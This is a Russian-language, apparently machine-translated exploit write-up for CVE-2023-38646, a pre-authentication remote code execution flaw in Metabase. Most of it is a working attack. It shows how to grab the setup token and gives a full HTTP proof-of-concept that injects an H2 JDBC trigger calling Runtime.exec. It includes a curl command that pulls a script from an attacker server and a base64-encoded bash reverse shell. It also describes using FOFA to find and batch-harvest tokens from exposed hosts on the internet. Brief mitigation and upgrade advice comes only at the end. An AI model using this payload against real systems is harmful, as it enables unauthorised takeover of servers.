0x01 Введение
Metabase — это инструмент анализа и визуализации данных с открытым исходным кодом, который помогает пользователям легко подключаться к различным источникам данных, включая базы данных, облачные сервисы и API, а затем использовать интуитивно понятный интерфейс для запроса, анализа и визуализации данных.
Номер уязвимости: CVE-2023-38646.
В версиях Metabase с открытым исходным кодом до 0.46.6.1 и версиях Metabase Enterprise до 1.46.6.1 существует уязвимость, которая позволяет злоумышленнику выполнять произвольные команды на уровне привилегий сервера, не требуя аутентификации для эксплуатации.
Уязвимость вызвана проблемой соединения JDBC в конечной точке API предварительной аутентификации /api/setup/validate. Сделав запрос к этой конечной точке, мы успешно добились удаленного выполнения кода (RCE).
Сборка локально
sudo docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Получите токен установки, открыв IP:3000/api/session/properties. Скриншот выглядит следующим образом:
После получения установочного токена создайте POC и выполните оболочку восстановления.
Поскольку среда целевой машины не может напрямую перепривязать оболочку, мы сначала создаем сценарий переподключения оболочки и позволяем целевой машине получить сценарий и выполнить его, тем самым успешно перепривязываясь.
Конкретные шаги заключаются в следующем:
Откройте /api/setup/validate и создайте полезную нагрузку для получения файла 2.sh атакующего сервера. Фактическая команда выполнения:
curl http://192.168.222.184:8000/2.sh -o /tmp/2.sh
Конкретный POC выглядит следующим образом:
POST /api/setup/validate HTTP/1.1
Host: IP
Content-Type: application/json
{
"token": "жетон",
"details": {
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules": {},
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec (конкретная команда выполнения)\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "test",
"engine": "h2"
}
}
Успешно получен файл 2.sh и помещен в /tmp/2.sh.
Детали файла 2.sh следующие:
Атакующая машина прослушивает порт 6666, отправляет почтовые пакеты и выполняет 2.sh. Конкретная команда выполнения — bash /tmp/2.sh:
Успешный отскок снаряда:
Выполните поиск ресурсов через fofa и получите доступ к API/сессии/свойствам, чтобы получить соответствующий токен установки и информацию о версии в пакетном режиме, как показано ниже:
Эта машина может напрямую отскакивать от оболочки, поэтому непосредственно сконструируйте оболочку.
Конкретная команда выполнения:
bash -c {echo,YmFzaixxxYx}|{base64,-d}|{bash,-i}
Среди них YmFzaixxxYx — значение 64-битной кодировки оболочки. Конкретная реализация выглядит следующим образом:
Включить мониторинг
Оболочка восстановления успешно завершена
Варианты временного смягчения последствий:
Ограничьте источники доступа с помощью сетевых политик ACL, например разрешая запросы доступа только с определенных IP-адресов или диапазонов адресов или блокируя запросы к конечной точке /api/setup.
План ремонта обновления:
Официалы запустили новую исправленную версию. Всем затронутым пользователям рекомендуется как можно скорее посетить официальный сайт и обновиться до соответствующей безопасной версии.
Для пользователей, использующих версию Docker, просто извлеките последнюю версию образа для обновления. Однако перед началом обновления обязательно сделайте резервную копию своих данных.
Следует отметить, что независимо от того, какая версия восстановления используется, вам необходимо убедиться, что приложение завершило процесс установки и может нормально войти в систему, прежде чем уязвимость будет устранена. В то же время в целях безопасности некоторые неиспользуемые службы должны быть своевременно отключены.
Исторические дыры
CVE-2021-41277: уязвимость чтения произвольных файлов метабазы.